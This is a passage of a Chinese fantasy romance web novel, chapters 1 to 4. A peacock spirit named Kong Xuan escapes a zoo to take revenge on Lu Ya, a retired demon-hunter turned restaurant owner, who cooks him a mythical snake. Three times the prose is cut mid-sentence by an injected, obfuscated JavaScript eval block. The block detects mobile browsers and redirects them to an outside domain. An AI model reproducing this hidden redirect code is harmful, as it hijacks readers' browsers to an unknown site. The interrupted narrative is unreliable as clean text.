《惊!人外被当成老婆喂养了》 1. 第1章桃汁鸣蛇肉1 来广市接连不断的大雨下了几天,雨过天晴阳光明媚,又撞上周末,正是出游的好时间。 特别是昨天动物园刚收容了一只需要救助的绿孔雀,作为稀少的保护动物,一进入院中瞬间引起了众人的关注。 只见动物园攒动的蓝孔雀群中,赫然冒出一颗冠羽华丽的脑袋,绿孔雀身披青色缓步而出。 它冠羽华丽,拖拽着长长的尾羽,每一根羽毛都透露出难以言喻的贵气,在阳光下扇动翅膀,鎏金的光晕自羽毛中心流转。 它在蓝孔雀中傲然挺立,连人类都能感受到它的高傲,像是一只白鹤掉落鸡群,周围的蓝孔雀在它的衬托下都显得黯然失色。 它拍拍翅膀,游客们:“哇——” 它优雅溜达,游客们:“哇——” 绿孔雀无声投去一眼,那目光仿佛在看煞笔。 稚嫩的童声欢快惊呼:“妈妈,孔雀在看我!” 孔宣:…… 孔雀默默埋头。 他,孔宣,世界上第一只绿孔雀! 到底为什么会流落至此? 孔宣面露沉思,脑子里飞速闪过自己在暴雨中湿漉漉地醒来,饥肠辘辘找到的那一盆好吃的谷物时,某个把他送进动物园的罪魁祸首,整只鸟都不由抖动起来。 归结一句,人类害我! 一想到这里,孔宣咬牙切齿,焦躁地来回走动。 在游客们一声一声“哇”中,它傲然仰头,溜溜达达就来到了铁网边缘。 它张开翅膀,清脆地叫了两声,瞬时间所有蓝孔雀踢踏着步子极速朝它冲刺而来。 有傻乎乎的蓝孔雀叨叨它的翅膀:兄弟,去整点鸟粮? 吃吃吃,都把自己吃进动物园了还吃! 孔宣不屑地扇扇翅膀,在众人被蓝孔雀遮住视线的同时,它张开翅膀,几次扇动,顿时如流星一般从头顶翩然飞过。 飞跃孔雀群,飞跃铁围栏,直直地飞向高空。 游客们:“哇——孔雀会飞!” “不对!是越狱,有孔雀越狱了!” “哪啊哪啊?” 一嗓子“孔雀越狱”顿时把小小的片区挤得水泄不通,游客们寻声望去,只看到青白的天空,和一个潇洒离去的华丽背影。 孔宣一身宽袖长袍,衣上宝石闪闪发光,华丽至极。 即便走在人群中,也吸引了无数人的视线。 他们把孔宣从头打量到尾,视线在他脸上转了一圈,顿时倒吸一口凉气。 “这是哪个动漫角色吗?这么漂亮!” “不会是老师的oc吧?” “蛙趣,盛世美颜!” …… 只见人群中穿着青绿古装的青年披散着墨黑色的长发,斜飞的长眉恣意张扬,丹凤眼勾勒起张扬的弧度,斜斜一睨,透露出睥睨与漫不经心的冷淡。 他像是知道自己有多好看,得意地扬起下巴,如傲然的牡丹挺立枝头。 华丽又漂亮。 哼,少见多怪。 孔宣敏锐地听到了所有赞叹,他面无表情,只有嘴角压抑不住疯狂上扬。 不过oc是什么?孔宣眼里闪过一丝迷茫,旋即他又想到,这次从沉睡中苏醒后,遇见的人类都奇奇怪怪的。 不足以为奇! 现在最重要的是,复仇! 找那个拿鸟粮把他骗进动物园的家伙复仇。 一想到这个,孔宣咬牙切齿,狭长的丹凤眼危险眯起,露出极为凶残的神情。 居然敢把他运到动物园里给人围观! 该死的人类! 叨死他! 孔宣视线在动物园外扫了一圈,他目光挑剔,视线从那种把他运到动物园的封闭铁盒扫到有点类似于马车的三轮小车。 很好,敞开的,安全! 他随手从衣服上薅下一块宝石,“啪”丢到车前。 “去……”孔宣顿时卡壳,不断回想那个人类在哪。 车主关掉广播,纳闷地与他对视:“你好,只收现金。” 孔宣:“……” “扫wx还是zfb?” 孔宣:“……” “或者外币?” 孔宣:“……” 车主与他对视,孔宣突然有一种极其不妙的感觉。 离动物园最近的警察局里。 两个警察接到报案,拿着记录册围着孔宣做笔录:“身份证带了吗?” “有身份证照片也行。” “未成年?那你户口本呢?为什么要坐霸王车?” 一连串地质问把孔宣打得茫然无措:“身份证?户口本?” 在警察仿佛在看什么原始人的目光下,孔宣福至心灵:“哦,人证!” 这个他有! 为了在人世间行走,他还特意办了一个。 只见孔宣把手伸进袖子里掏了掏,从袖子里掏出一张薄薄的发黄的纸片。 户籍上明明白白写着,汴梁人。 两个警官顿时后仰,他们拿到户籍研究一通,小声嘀咕起来。 孔宣得意地扬起下巴,判定他们一定被自己汴梁人的身份吓到了。 “怎么样?可以放我走了吧?” 那些小妖都说汴梁人身份高,有了这个身份以后就是京圈人。 为了成为京圈孔雀,他可是费了好大劲才办下来的人证。 两个警官对视一眼:“不好意思,你这是宋朝文物吧?你从哪里来的?偷窃文物我们可是要立案调查的。” “按照法律,情节较轻的,处三年以上十年以下有期徒刑,并处罚金。若盗窃的是馆藏三级文物,一般处五年以下有期徒刑或者拘役,并处罚金……” 孔宣:!!! 人,算你狠! 他面露狠厉,咬牙切齿地想,人类,这是你逼我的。 孔宣起身,在两个警官困惑的目光中走到窗边,一把拉开窗户。 脚一蹬,从窗户直接往下跳。 警官大惊:“等等,不要在一楼翻窗户啊——” 两位警官下意识往窗户冲,他们头一低,一楼的窗户跳出去连个人影都看不见了。他们抬头,一只青色的飞鸟从他们头顶飞速掠过。 人已经消失不见了! · “据悉,来广市惊现一座高山,似乎是因为某种神秘的地壳运动,市政府正在组织探看队前往调查,未确定危险性之前,请市民们不要靠近,不要靠近——” 晚间新闻联播里的美女主持用字正腔圆的播音腔,准时播报暴雨时期突然惊现的神秘大山。 “滋——”炒菜下锅溅起油花,正是黄昏,周围的院子里响起了炒菜的声音,与新闻联播的声音交融在一起。 唯独小院中间那家私房菜安安静静,私房菜的店主守着空荡荡的小店,端着盘子走到电视机前,用遥控器掐断了新闻播报。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647717|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他穿着单薄的老头背心,用肩膀夹着手机,冷峻的眉眼低垂着,专注地往手里的餐盒里加鸟粮。 不知道手机里说了什么,他挑起眉:“……我看到了,电视里说又出现了一座大山。” 他点开电视机,冷峻的眉眼变化出极为玩味的神情:“哦,是因为地壳运动。” “……那都是局里骗普通人的。老大,你真的不回来吗?局里现在可缺人了,你回来立马升职加薪,从清扫组直接升职成为分部副局长,岂不是美滋滋。” 电话那头的话暗藏劝说,陆压眉梢微挑,语气漫不经心。 “不回,退休了,勿扰。” “老大你真的要去开餐厅吗——” “店都开了,我先去喂鸟,挂了。”陆压挂断电话,盯着电视机里那张崭新的A3号神山照片,露出意味不明的表情。 灵气复苏吗? 真有意思,妖管局一个负责管理妖族的组织,前不久才借口妖族势弱为由,把局里负责惩戒的清扫组整个裁撤。 原先灵气衰弱、妖族势弱,不得不蛰伏服从妖管局的规章制度,才能在人世间更好地生活。 现在灵气复苏,几座高山拔地而起,无数只存在于山海经的妖怪从山中跑出,妖管局又大量裁撤了暴力执法人员。 又要清理妖怪又要向普通民众遮掩真相,妖管局大概焦头烂额了。 陆压漫不经心地想着,手上端着一盒谷物,像是配餐一样往里面加了一捧鸟粮,独自走出院子,把供鸟自助的自助餐盒给外面的供食器换上。 他才打开门,露出一张脸,“啾啾啾”的怒骂声劈头盖脸扑了过来。 陆压下意识把手中的鸟盒一翻,非常迅速地左挡右挡。 羽毛华丽的绿孔雀气得“啾啾”直叫,羽毛东一根西一根乱糟糟地支棱出来。 一个上踢脚一个下勾拳,翅膀张开“啪啪”往人脑袋上抽。 “啾啾啾!”叫你拿食物套路我! “啾啾啾!”叫你把我送动物园! “啾啾啾!”叨死你叨死你! 陆压手中一个自助餐盒挥舞得像是盾牌,左挡一个破风爪右挡一击飞翅掌,通通被陆压飞速拦下。 气得孔宣“啾啾”叫,恶狠狠抽了一翅膀,气势汹汹地叼走几块鸟粮,雄赳赳气昂昂地拍拍翅膀飞走了。 陆压一出门就被一只绿孔雀袭击,疑似昨天被他送动物园那只。 这种来寻仇的小鸟并不少见,作为一位开鸟类自助餐厅的人类,陆压经常救助走投无路的小鸟,并且贴心地拨打林业局的电话。 往往这些小鸟被救助之后,不说感恩,有些记仇的还会特意绕回来给自助餐捣乱。 陆压反应迅速,轻轻松松挡下所有攻击,餐盒在他手里转了一圈,将衣服上的鸟粮抖进餐盒里。 他拍拍衣服,依旧从容镇定。 正要给林业局再打一个电话,突然脑袋一痛,一颗桃子对准他的脑袋,结结实实地砸了他一下,啪叽掉进他手里的餐盒里。 他下意识抬头,就见漫天黄昏下,眉眼张扬的青年趴在他家的院墙上,张扬地朝他挑起眉梢。 昏暗的树影从高处稀碎地落在青年的眉眼,即便如此,青年依旧明媚得令人晃眼,像是一只从树林钻出的桃子妖精。 粉白的腮帮子被青年撑起弧度,青年腮帮子微鼓,气呼呼地瞪着他。 目光满是控诉,像是在看什么负心汉。 2. 第2章桃汁鸣蛇肉2 “咔嚓——” 陆压稀里糊涂将盒子里的桃子放到嘴边,他咬了一口,清脆的咔嚓声响起,瞬时间青年脸上的控诉变成了震惊与愤怒。 鸟粮和桃子在口中咀嚼,陆压咀嚼得心不在焉。 只觉得桃子好甜。 甜得像青年奶白色的皮肤,泛着漂亮的粉色,一双漂亮的眼睛圆滚滚地盯着他。 这人连小鸟的粮都吃!可恶! 孔宣怒上心头起,腮帮子鼓了鼓,像是把鸟粮当成了陆压,愤愤不平地咀嚼。 “你这人怎么这么坏!连小鸟的粮都吃!” 孔宣怒气冲冲地控诉,斜飞的长眉压低着,撒气般将满院的桃叶丢到陆压头上。 他勾着旁边的桃树枝,气鼓鼓地一边扯一边丢,摸索到青涩的桃子,也接二连三地往下砸。 陆压:? 身为院子的主人、桃树的所有者陆压终于反应过来,呸呸将嘴里的鸟粮吐出,他扬起眉,优越的眉骨鼓动着,迟疑地指了指自己。 “我坏?” 陆压目光意味深长,他走到院墙下,仰着头与孔宣对视。 一时间居然不知道这房子到底是谁的。 被他盯着,孔宣坐在墙上,叉着腰一脸理所当然,得意地朝他挑了下眉,斜飞的眉毛张扬着,像是一只欢快的小鸟。 他发丝凌乱,东一缕西一缕地支棱着,衣服乱糟糟地挂在身上,像是走了很久很久的弯路,把自己弄得灰头土脸十分狼狈。 孔宣却没有意识到,反而像那只毛色华丽的孔雀,支棱着漂亮的羽毛,满脸傲气地与陆压对视。 陆压走近了,听到他的肚子咕噜咕噜叫,朝他招了招手。 孔宣低下头,陆压将青涩的桃子在衣服上擦了擦,反手喂到他嘴里。 青涩的桃子又苦又涩,硬邦邦地差点把牙齿都咬掉,孔宣顿时被酸皱了脸,满脸控诉地瞪圆了眼睛,似乎不敢置信。 陆压眉眼微弯,似乎笑了一下,在青年炸毛前他拍了拍身上的桃叶,发出邀请。 “院子里的桃树有五六十岁了,别折腾老人家了,走吧,我给你做饭吃。” 陆压将院门打开,他穿着老头背心和宽松短裤,符合这个季节的年轻人穿着,只是背过身的一瞬间,漆黑的纹身顺着他的后颈直直滑落进领子。 他身上有锻炼的痕迹,看着瘦弱,手臂鼓动间绷起的弧度溢满了力量感,像是一只被藏匿进无害外表下的野兽,似乎裹挟着万般危险的喧嚣。 孔宣却并不害怕,他拂了拂长发,在青年的邀请下,得意地翘起唇角,刻意地端着架势,飞速咳嗽两声。 “你请?” “我请。” 孔宣跳下院墙,完美避开他试图接住的双手,嘚瑟地朝他扬眉。 陆压顿时发笑,摆手做出请的动作。 量这个人类也不敢对他怎么样! 孔宣没有防备,大大方方地被请进了院子,眼神好奇地在院子里扫来扫去。 小院子是以前的自建房,采用前店后院的模式,一栋三层楼的自建屋树立在院子一边,正正方方的院墙圈出了不小的院子,靠近角落的地方种了两棵交错的桃树。 现在五月正是桃子成熟的季节,青色的枝头挂满了果实,只是距离成熟还有一段时间。 见孔宣的目光在桃子上打转,陆压搓了搓手上的鸟粮渣,正要出声。 就见孔宣伸手进袖子里掏了掏,瞬时间,一股钟磬碰撞之声轰隆作响,吵闹的鸣啼挣扎响起。 陆压眼神一定,眼睁睁地看着一条赤红色的蛇尾被孔宣从袖子中抽出。 那是一条极其古怪的小蛇,身躯足有小孩手臂粗细,尾巴不断在孔宣手中挣扎,他一点不慌,掐着七寸把它从袖子扒了出来。 红蛇足有一米多长,七寸往上一点长出四只翅膀,被丢在地上,不断地来回腾挪大叫,发出钟磬碰撞的尖叫声。 “喏,我不白吃你的,吃这个。” 孔宣掐着蛇脑袋,一股脑地堆到陆压面前。 陆压的眼神从孔宣脸扫到了蛇头,长着翅膀的怪蛇尖声大叫,疯狂扇动翅膀。 他面不改色,毫无压力地接过,还问孔宣:“想怎么吃?” 孔宣思考一瞬:”剥了皮生吃?” 陆压:…… 这么漂亮的脸说出这么凶残的话,真是蛇蝎美人。 他拎起蛇提溜着回了厨房,厨房靠近后院的墙上开了个窗,正好对着桃树。 衣服凌乱的美人站在树下,毫不客气地将华丽的外衣脱去,将漂亮的宝石一个接一个地摘下丢弃。 最终只剩下一身雪白的薄衫,背对着窗户,长发披散在他的后背,隐约印出肩胛骨的痕迹,昏暗之下泄露出别样的禁忌涩意。 很…… 陆压的脑子还没转过弯,一条尾巴啪啪打在他的脸上,打醒了他的神智。 他眼神一利,一把掐住蛇头惯在菜板上,蛇尾在手下疯狂挣扎,他手起刀落,菜刀对准蛇头重重剁在菜板。 他目光冰冷,如一把长刀上下打量手中的怪物。 只须一眼,他几乎判定这条蛇的来历。 来自鲜山的鸣蛇,身躯似蛇而背生四翼,声音如磬石相击,所到之处寸草不生。 他拿出手机,飞速拍了一张。 [陆压]:[照片]鲜山的妖怪,自己查哪座山下来的。 [不想上班]:??? [不想上班]:哥你不是退休不干活了吗?哪找的哇! [不想上班]:哥!陆哥!别杀了,上交国家啊喂! 吃妖怪不算保护动物吧? 陆压收起手机,移开目光,转身从柜子里取出一罐桃子罐头。 甜滋滋的白桃被甜水腌渍,桃子的芳香被浸泡出极为惑人的味道,如一把小勾子,在鼻尖似有若无地勾引。 孔宣鼻尖动了动,敏锐地转动脑袋,被桃子味勾得神魂颠倒,嘴巴里的鸟粮顿时不香了。 院子里的主人在桃树上放了一个手工鸟窝,外面的喂食器里添满了鸟粮。 此刻喂食器被打开,有人攀着桃枝鼓着腮帮子,“咔嚓咔嚓”咀嚼着鸟粮。 孔宣心虚地扫过四周,第N次在心里发誓,他就再吃一……亿颗就不吃了。 美美把最后一颗鸟粮投入嘴中。 孔宣:你说鸟粮(嚼嚼嚼)这种东西(嚼嚼嚼)谁研究的呢?(嚼嚼嚼) 挑完了鸟粮,孔宣幸福得眼睛一眯,再也忍耐不住桃子勾勾丢丢的香味,飞似地被桃子勾引到了窗边。 陆压一转头,一张明媚张扬的盛世美颜出现在眼前。 孔宣攀在窗户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647718|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,撑着下巴,腮帮子微微托起软乎的弧度,他嘴角上挑出甜滋滋的笑容,比甜滋滋的白桃罐头还要甜。 陆压感觉自己的手在发烫,忍耐不住这么灼热的目光,利索地用筷子戳起一块桃肉。 “吃吗?” 孔宣眼睛一亮,哼哼唧唧两声,傲娇表示:“既然你给我吃,那我就尝尝吧。” 他傲傲娇娇地说完,飞速探过脑袋,从陆压手里叼走了桃子。 被糖水腌过的桃子甜蜜蜜的,孔宣填满了腮帮子,还舍不得把小了一圈的桃子吐出,用嘴巴含着,撑着下巴歪头看陆压的动作。 水润润的唇鼓着,如猫猫一样贪吃地蠕动着,沾着甜水,甜得人心痒难耐。 陆压低着头,动作流畅地先将取出的桃子肉沥去多余水分后切成薄片,接下来处理蛇肉。 他将蛇肉切段,手脚迅速地用刀剁进羽翅下三寸,刀口一转就把翅膀剖下,手指顺着刀口往下一划拉,一条完整的蛇骨被取了出来。 把料备完,他取出专业的炖锅,加入清水、蛇段,陈皮、生姜片以及一点盐去腥调味。 他麻溜拎出另一个锅,拆开一块冻结实的浓汤,加入切好的葱头丁、胡萝卜丁和芹菜末。 煮沸之后,高汤的香味顺着蒸腾的水汽溢出,陆压数着时间,将煮熟的蛇肉块和干白葡萄酒一同倒入其中。 与此同时,另一口小锅里的桃子罐头汁加入玉米淀粉搅拌均匀,变得黏稠香甜,搅弄成白桃糖浆,加入盐和黄油调味。 当汤汁微微沸腾,陆压熄火,将煮好的蛇肉倒进盘里,浇上浓浓的桃汁。 第一时间摆在了窗前的桌子上。 陆压做个饭用了三口锅,比起身为厨师的专业,炫技的想法更多。 他将一双筷子递给孔宣,神光湛湛的眼睛专注极了。 “尝尝?” 孔宣嘴巴里还含着桃子,他鼓着腮帮子,眼睛滴溜溜地顺着桃汁蛇肉看了一圈,谨慎地动了动鼻子,一股淡淡的酒味溢入感知,他用筷子戳了戳蛇肉,飞速地看了陆压一眼。 他恶劣地眨动眼睛,眼下的狡黠是怎么遮也遮不住。 在陆压期待的目光下他夹起一块,飞速怼到陆压嘴边。 陆压含糊吃入,桃汁的甜味被中和过后变得不那么甜,黄油本身的奶香与蛇肉丝滑融合,嫩滑的肉段在唇齿间一抿。 陆压喉咙微动:“还不错。” 他正要再拿一双筷子,就见孔宣用这双筷子欢欢喜喜地又夹起一块投入口中,筷尖一段没入粉嫩的唇瓣,微微压出痕迹,像是要压出汁水来。 陆压突然咳嗽起来,飞速地转开目光。 只有窗外的青年欢欢喜喜地咬住蛇肉,桃子的甜味与奶香味中和在一起,他舌尖微撩,将蛇肉抿在唇齿间,细微的酒味淡淡撩拨着味觉。 “唔!好嫩好鲜!” 他含糊赞叹,蛇肉煮过之后呈现出鱼肉的嫩滑,没有丝毫的土腥味,桃子与酒味混合在一起,像是甜甜的桃子酒加了些许奶味,淋在鲜嫩的蛇肉上,蛇肉本身的鲜嫩交融在一起,甜得人心醉。 孔宣面露迷醉,双颊泛起甜蜜的粉色,似乎早已把自己吃醉了,露出极为迷幻的色彩。 真的有这么好吃吗? 陆压盯着他水光潋滟的唇,情不自禁地将手抵在了窗台。 3. 第3章桃汁鸣蛇肉3 陆压低下头,青年将脸枕在手背,泛红的侧脸滚烫一片,早已迷乱发醉,一双锐利的丹凤眼水波潋滟,朦胧懵懂。 很好,醉了。 他一把钳制住孔宣的下颚,嫩滑的皮肤从指腹蹭过,他不动声色,面上显露出一丝锐利:“你是谁?” 陆压稍微用了一点力道,继续逼问:“你是那只绿孔雀?” “来找我想干什么?” “唔?”被无声灌醉的孔宣眨眨眼睛,摇摇晃晃地朝陆压靠近。 陆压凑过去,两人离得越来越近,就在近在咫尺的关头,孔宣脸上的迷醉突然清醒了片刻。 孔宣眨眨眼,眼前的迷蒙散去,陆压那张脸清晰地映入眼底。 迟钝的脑袋转动一瞬,钝钝地将这个人与之前的事联系起来。 就是这个人! 端着鸟粮一边吸引他一边哄他,趁他不注意,一把将他扭送动物园给人围观! 呔! 孔宣顿时怒从心头起,恶向胆边生,醉中猛猛翻进窗内给他两巴掌。 陆压只觉得眼前一黑,一个巨大的黑影猛地扑向他。 好大一只孔雀张开翅膀,顿时如凶兽扑脸,疯狂发出尖叫:“啾啾啾——” 叫你把我送动物园! 叫你拿食物套路我! 叨死你叨死你! 发疯的孔雀战斗力堪比大鹅,陆压往后一仰,抄起旁边的托盘挡在身前,瞬时间托盘被一爪子踹飞。 他再拿锅挡灾,“咚”得一声,不锈钢锅也得抖三抖。 孔雀一个左逼兜一个右勾爪,手脚并用,嘴巴疯狂怼着叨叨叨。 陆压左大锅右锅盖,非常利落地一一挡下。 整个厨房都被他们闹腾得鸡飞狗跳。 最后陆压眼疾手快,将一件围裙兜头蒙在孔雀头上,又用装菜的竹框将孔雀扣在地上。 他坐在上面,竹框在他身下疯狂地抖动挣扎。 陆压难得焦头烂额地捞过那瓶白葡萄酒,里面除了加了一点容易醉妖的灵果汁,还会让妖发疯? 同时,他感觉到了极大的荒谬。 他和妖打交道那么多年,居然毫无所知地把一只孔雀妖送进了动物园! 陆压掀开竹框,从里面捞出一只迷醉醉的孔雀,孔雀歪斜着脑袋躲在翅膀里呼呼大睡,华丽的羽毛乱糟糟地支棱着,像是一只乱糟糟的小流浪孔雀。 陆压拿绳子套它脑袋,它迷迷糊糊把脑袋搁在陆压胳膊上。 真迷糊。 陆压就没见过这么迷糊无害的妖,他杀了那么多妖,那些妖凶神恶煞,张口闭口就是要吃人,只有这只孔雀妖,嗯……爱吃桃子。 他松了手,任由孔雀窝在自己怀里,抱着它上了楼。 林业局救助鸟类,一般会分散着安排进动物园或者救助站。 陆压在电脑上一查,果不其然在动物园看到了孔雀出逃的悬赏令。 他点开图片,图片清晰地拍摄下孔雀起飞的身影。 和怀里这只绿孔雀不说毫不相干,只能说一模一样,简直就是它。 陆压沉思自己是不是退休后辩妖经验飞速退化了,手机突然响起。 对方高兴的声音从手机里传来:“哥!哥!你真神了!真的是鲜山。那只鸣蛇是从新出现的A3号神山下来的,根据山海经地理位置推算,A1和A2终于可以确定是辉诸山和阳山。” “说不关你事你还是很关心单位的嘛,陆哥,要不要考虑返聘回原单位工作?给你升职加薪哦~” 陆压毫不留情地挂断电话。 他打开山海经地图,手指在地图上比了几寸,再打开现在的地图,比划着找到了辉诸山和阳山的位置,大概与神秘大山出现的位置迴同。 两张地图原本是各自独立又能微妙重合,但世界就是这么不讲道理,神秘大山突然从地下拔地而起,地壳运动中毫不留情地把原来的地块挤开撑走,短短一个月国家地理面积因不可抗力的原因大了一大块。 如果所有山都像这样挤出来,国家国土面积难道要再翻一倍? 陆压陷入沉思。 怀里迷迷糊糊的孔雀砸吧砸吧嘴巴,小脑袋蹭来蹭去的,不知道在梦里吃什么,嘿嘿流着口水。 孔宣迷迷糊糊闻到香香的炒米味,焦香的谷味他在梦里就闻到了,香得他直流口水,像是有一把小勾子,在他面前勾呀勾呀~ 他鼻尖抽动,迷迷糊糊睁开眼睛,就看见一盘炒米在眼前勾引他。 他立刻扑上去,一巴掌差点扇在陆压身上。 陆压迅速往后一躲,钓孔雀的炒米被他转了个手:“早上好。” 又用食物钓他! 孔宣哼了一声,抱着被子屁股在床上蹭了蹭,用行动表示自己坚决不上当。 他眼神一转,眼睛滴溜溜地转动,眉头一皱,发现事情并不简单。 “我怎么在你床上?” 陆压:“你昨天喝醉了。” “我怎么喝醉了?” 陆压面不改色:“因为蛇肉里加了葡萄酒,你可能不太会喝酒。” “真的?” 被孔宣连环逼问,陆压点头:“真的。” 孔宣依旧眉头皱皱,他脑子里飞快转了一圈,很疑惑地问:“我腰怎么痛痛的?” 那是你昨天自己折腾的。 陆压欲盖弥彰的转移话题:“还不知道你叫什么名字呢,不是来广人?” 孔宣正拉着被子低头看看自己什么情况,听到这句话,他立刻支棱起脑袋,飞速回答:“汴梁的!” 我,京圈孔雀! 他支棱起脖子,像是知道自己有多厉害的骄傲孔雀,还挺美滋滋的。 陆压哑然:“我叫陆压,是个餐厅老板。” 他顿了顿,意味不明地补充:“最近在招员工,包吃包住。” 吃住! 孔宣眼睛一亮,显然想到了自己的动物园生活。 动物园包吃包住,就是要关在院子里被人围观,这让高傲的孔宣怎么能够接受! 一想到这个,孔宣眼里都要冒火,眼刀唰唰飞向一无所知的陆压。 就是这个可恶的人类! 一定要让他付出代价! 孔宣攥紧拳头,为了未来包吃包住(划掉)报仇雪恨的好日子,他立刻表示:“我可以。” 不等陆压欲言又止,他装模作样地揉了揉自己的腰:“诶,我腰好痛啊!” “好像腿也痛。” “头也好晕。” 孔宣努力碰瓷,摇摇欲坠地栽倒在陆压怀里,他状似柔弱,小声蛐蛐:“要一份包吃包住的工作才能起来。” 图穷匕见了。 因为姿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647719|172783||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势,孔宣睡散的衣领露出大片锁骨,陆压扶着他,无声移开目光:“……好。” 京圈孔雀显然还不知道什么叫人世艰难,他自信没有人能算计他,得意自己碰瓷成功,收获了一份包吃包住的工作! 上岗之前,孔宣先吃了一顿员工餐。 一份皮蛋瘦肉粥,配上四份小菜。 皮蛋煮进粥里,消减了本身的涩意,变得软糯咸香,细嫩的肉糜在唇齿间抿化,非但没有品尝到腥味,配上柔和的粥米,交融成更加百搭的风味。 四种小菜有酸有辣,刺激着味蕾更加敏锐,用过于柔和的粥米中和过盛的酸辣,反而更加开胃,更加畅快地将粥米送入口中。 像是在各种食材中畅游,让米粥的香味留在味蕾,一口下去唇齿留香。 吃过早饭,孔宣站在窗边,一只漂亮的小鸟落在他的指尖,他眉目沉静,张扬明媚的眉眼含着笑意,像是一朵初绽的牡丹花。 全然看不出猛猛干了三大碗的模样。 他侧耳细听小鸟低语,将米粒点在指尖与小鸟分享。 清晨的风卷起他的衣摆,那一瞬间他的眉眼弯起,像是听到了什么很有趣的事情。 陆压站在门口看着他:“在笑什么?” 孔宣撑着下巴,腮肉鼓起弧度,他含糊回答:“有好东西要来了。” 是一只来自辉诸山的鹖鸟,下了山就该下锅了。 孔宣舔了舔嘴巴,眼尾眯起露出极为享受的表情,俨然想到了想到鹖鸟的美味。 陆压:? 没听懂。 他将一套衣服递给孔宣,好脾气地说:“我带你出去买几件衣服换。” “这么好?”孔宣转过头,不知道想到什么,突然又得意起来,仰着脖子得意地哼哼两声。 人,算你识相! 知道讨好孔雀大王! 报仇暂停,先去买衣服~ 陆压:“先从工资里扣。” 孔宣:今晚就给你暗鲨了! · 妖管局。 因为三座大山神秘出现,妖管局的外勤人员全部派出,只剩下几个文职员工守在灵气监控室。 监控室内,巨大的屏幕将城市每一条路线显示得清晰明了,小屏幕的电视新闻里,知性优雅的女主持正播报着神秘大山事件,呼吁大家不要靠近。 “这种突然出现的大山真的有人想进去吗?而且出现原因是地壳运动也太走近科学了吧。”有人吐槽。 “还不是有不怕死的背包客,或者博眼球的网红往上爬?勘探队都发现好几拨人的尸体了,真不怕死。” “不知道勘探队什么时候才能把那些怪物清扫完,我真怕有怪物跑下来——” …… 怕什么来什么。 “滴滴——”监测仪器发出几声细微的声响,监控全城的监控不间断地剧烈震动起来。 吐槽的人猛地一回头,惊恐地发现监控显示屏不断地跳出红点,以一种非常超速的速度直直地冲向一个方向。 一直没说话的同事猛地扑向操控台,对着公共频道大喊:“清扫组!清扫组还有没有人!有妖怪下了山往市区去了!” “不行!清扫组被裁撤重组后就没几个人了,哪还有人啊!” “那后勤组呢?后勤组出任务的有谁在附近?快拦截它啊啊啊!” 4. 第4章小煎鹖鸟肉1 “这个是什么?想要。” “爆米花?爆米花是什么?想要。” “还有这个、这个、这个……都想要。” …… 市中心的商业街。 穿着短袖的青年眉眼冷峻,锋利的五官立体深邃,光影在鼻梁割裂,更显得神采莫测,高挺笔直的身材站在旁边都具有满满的压迫感。 此刻他眉眼无奈,站在一群女生中间,简直鹤立鸡群。 被那些女生拿视线扫来扫去,他面不改色,硬是排进了卖樱花奶豆腐的队伍,旁边还跟着一个抱着爆米花桶“嘎吱嘎吱”咀嚼的青年。 孔宣换了身合适的衣服,舒适的卫衣将他眉眼的张扬消减,他抱着爆米花桶,把腮帮子塞得鼓鼓的,白软的腮帮子无辜鼓起,反而显得有点呆。 墨黑色长发编了个辫子,被他随意地捞到一边,他似乎知道自己有多好看,想要什么,把头一歪,就这么看着陆压。 那双漂亮的丹凤眼眨呀眨,就足以让任何人服软。 说是来买衣服的,简直像是来觅食的,买好吃的比买衣服积极。 “吃完这个就回去。”陆压第n次这么说。 孔宣舌尖轻撩,奶豆腐抿进嘴巴,滑滑嫩嫩的,美得他眉眼一弯。 有人拿着麦麦的冰淇淋从旁边走过,他又立刻像是喜新厌旧一样,盯住了雪白雪白的冰淇淋。 “冰淇淋!” 他看着陆压,陆压眉眼冷淡,俨然一副无动于衷的模样。 “……坐这里吃。” 陆压从麦麦员工手中拿过冰淇淋,让孔宣坐在靠窗的吧台吃。 孔宣眉眼弯弯,张扬明媚的眉眼向上一挑,满是嘚瑟与炫耀,像是在说“你看吧”。 简直得意得不行。 突然吧台震动,恍若地震般整座建筑都开始震动。 人群立刻骚动起来,外面更是混乱一片,尖叫与呼救声此起彼伏。 他们像是受到了什么惊吓,疯狂往店里面跑,店里面的人被房屋的震动惊得直往外面跑。 人流量巨大的商业街瞬间乱成一锅粥,外面的人被恐怖的东西吓得往里跑,外面的人以为地震疯狂想往外挤。 他们不停大喊,有人试图维持秩序,反而被人一把推开。 陆压意识到不对,凭借身高立刻站在凳子上,目光越过人群直直地眺望远方。 